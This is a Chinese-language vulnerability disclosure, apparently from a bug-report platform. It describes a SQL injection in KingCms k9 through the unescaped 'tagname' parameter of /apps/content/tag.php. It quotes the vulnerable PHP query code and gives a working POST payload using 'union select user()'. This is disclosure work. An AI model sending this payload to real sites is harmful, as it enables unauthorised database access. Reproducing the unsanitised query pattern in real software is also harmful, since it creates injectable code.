### 简要描述:
KingCms最新版(k9)注入一枚#4
### 详细说明:
朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9(2014-12-13更新),官网下下来学习一下。
在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520)
注入点:POST /apps/content/tag.php
注入参数:tagname 问题文件在/apps/content/tag.php
```
function _edit(){
$u=new user;$u->auth_role('content_tag');
$tid=kc_post('tid',2,0);
$db=new db;
$str=new str;
if(empty($_POST['tagname'])) kc_tip('字段名不能为空!','form');
if($str->len($_POST['tagname'])>30) kc_tip('标签名称过长!','form');
$rs=$db->getRows_one('%s_content_tag','tid',"tagname='{$_POST['tagname']}'".(empty($tid)?'':" and tid<>$tid"));
if(!empty($rs)) kc_tip('标签已存在,tid:'.$rs['tid'].'!','form');
无关代码
```
$_POST['tagname']没有经过处理就进入了$db->getRows_one,去看看$db->getRows_one
```
public function getRows_one($table,$insql='*',$where=null,$orderby=null) {
$table=str_replace('%s',DB_PRE,$table);
$sql="SELECT $insql FROM $table ";
$sql.=empty($where) ? '' : ' WHERE '.$where;
$sql.=empty($orderby) ? '' : ' ORDER BY '.$orderby;
return $this->get_one($sql);
}
```
在执行sql语句之前,也没有过滤,这里就造成了注入。
Kingcms在这里可以直接显示,因此
Payload:
```
jsoncallback=1&_=11&URL=http%3A%2F%2Flocalhost%2Fapps%2Fcontent%2Fcategroy.php&CMD=edit&TID=1&AJAX=1&USERID=10000&SIGN=89ee81f5f1f328f555ceb7e7655d9f2f&tagname='union select user()#&tid=3
```
注入成功,见下图
[<img src="https://images.seebug.org/upload/201503/11235527f87cc24da08b16da30fdd779f2d83e5f.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/11235527f87cc24da08b16da30fdd779f2d83e5f.jpg)
### 漏洞证明:
见 详细说明
暂无评论